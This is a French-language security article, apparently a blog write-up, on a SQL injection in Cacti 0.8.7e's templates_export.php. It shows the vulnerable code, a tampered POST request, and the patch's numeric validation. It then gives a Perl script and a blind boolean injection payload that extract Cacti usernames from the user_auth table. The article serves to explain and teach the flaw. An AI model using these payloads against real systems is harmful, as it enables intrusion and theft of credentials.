Articles et actualités

3 – Explications

L’injection SQL consiste à injecter du code SQL dans une requête.

Celle qui nous intéresse  ici est une requête POST de « templates_export.php » vers elle-même du paramètre « export_item_id »

Voici le la partie de code responsable:

function form_save() {
        global $export_types;
        if (isset($_POST["save_component_export"])) {
        $xml_data = get_item_xml($_POST["export_type"], /
$_POST["export_item_id"], (((isset($_POST["include_deps"])/
 ? $_POST["include_deps"] : "") == "") ? false : true));

 « export_item_id » prend comme valeur un entier correspondant à l’identifiant du graphique que l’on souhaite exporter.

Ci-dessous la requête POST lorsqu’on soumet la demande d’exportation sur templates_export.php :

POST /cacti-0.8.7e/templates_export.php HTTP/1.1
Host: 192.168.1.107
Accept: text/html,application/xhtml+xml,application/xml;/
q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.1.107/cacti-0.8.7e/templates_export.php
Cookie: clickedFolder=tree_1%5Etree_1_leaf_7%5E; /
highlightedTreeviewLink=tree_1_leaf_7; 
        Cacti=563bb99868dfa24cc70982bf80c5c03e
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
 
export_item_id=18 and 1=1&include_deps=on&output_format=3&/
export_type=graph_template&save_component_export=1&action=save&x=24&y=12

En rouge on observe que l’on peut rajouter « and 1=1 » à la valeur de l’entrée « export_item_id ». Aucune erreur apparaît et votre requête SQL se déroule parfaitement.
Pour ce faire nous avons utilisé Tamper Data, un plugin Firefox afin d’intercepter et de modifier la requête. (Cf la capture ci-dessous)

« 1=1 » est toujours vrai. Il est utilisé ici comme exemple, mais nous pouvons changer 1=1 par une requête SQL renvoyant VRAI. Par exemple, nous pouvons récupérer la liste des utilisateurs.
(Cf 5-Pour aller plus loin)

Ci-dessous une capture de Tamper Data avec la modification :

4- Le patch

Voici le code après le patch :

function form_save() {
        global $export_types;
+    /* ================= input validation ================= */
+    input_validate_input_number(get_request_var_post("export_item_id"));
+    /* ==================================================== */
+
        if (isset($_POST["save_component_export"])) {
               $xml_data = get_item_xml($_POST["export_type"], $_POST["export_item_id"], /
(((isset($_POST["include_deps"]) ? $_POST["include_deps"] : "") == "") ? false : true));

On constate qu’une validation est faite sur l’entrée « export_item_id » afin d’éviter l’injection SQL.

La fonction en question :

function input_validate_input_number($value) {
              if ((!is_numeric($value)) && ($value != "")) {
                        die_html_input_error();
              }
}

La vérification est simple. On regarde si la valeur est bien numérique et non nulle.

Notre « and 1=1 » ne marchera donc plus.

Capture d’une tentative d’injection après l’application du patch :

5- Pour aller plus loin

Il est intéressant de voir la faille exploitée concrètement

Comme exemple, nous allons récupérer la liste des utilisateurs Cacti en base de données.

On ne  peut malheureusement pas faire un dump de la base de données.

 Les headers Php étant déjà envoyés au serveur, ils ne peuvent être modifiés rendant l’affichage impossible (cf  capture ci-dessous).

Il va donc falloir ruser pour les récupérer.

Il est important de noter que la page reçue est différente s’il y a une erreur ou pas.
 L’injection SQL ne fonctionnant que s’il n’y a pas d’erreur.
 Dans notre cas les 7 premiers caractères retournés  lorsqu’il n’y a pas d’erreurs sont : «  ».
Cela nous sera utile dans notre script car nous pourrons les tester afin de déterminer si la requête SQL s’est bien exécutée.

Nous pouvons donc faire un script qui forge des requêtes POST, les envoie et récupère la page en réponse.

 Exemple en PERL :

    #LA REQUETE POST AVEC L’INJECTION

my $req = (POST 'http://cacti.randco.fr/templates_export.php',

    [

     export_item_id => '44 AND 1=1',

     include_deps => 'on',

     output_format => '3',

     export_type => 'graph_template',

     save_component_export => '1',

     action => 'save',

     x => '34',

     y => '17',

    ]);

    #ON ENVOIE ET ON RECUPERE LE RESULTAT

    my $request = $bot->request($req);

    my $content = $bot->content();

Nous allons maintenant modifier  notre injection afin de récupérer le premier caractère du premier username.

L’injection sera :

export_item_id => “44 and ascii(substring((SELECT username from user_auth limit 0,1),0,1))=$i”

Ici nous faisons un test qui compare le code ascii du premier caractère du premier login à une variable $i.

Faites varier votre variable de 0 à 128; Si la page retournée par le script n’est pas la page d’erreur, alors vous avez trouvé le code ascii qui vaut $i !

Voilà l’idée générale, avec ce principe vous pouvez récupérer le contenu des tables de la base de données de Cacti.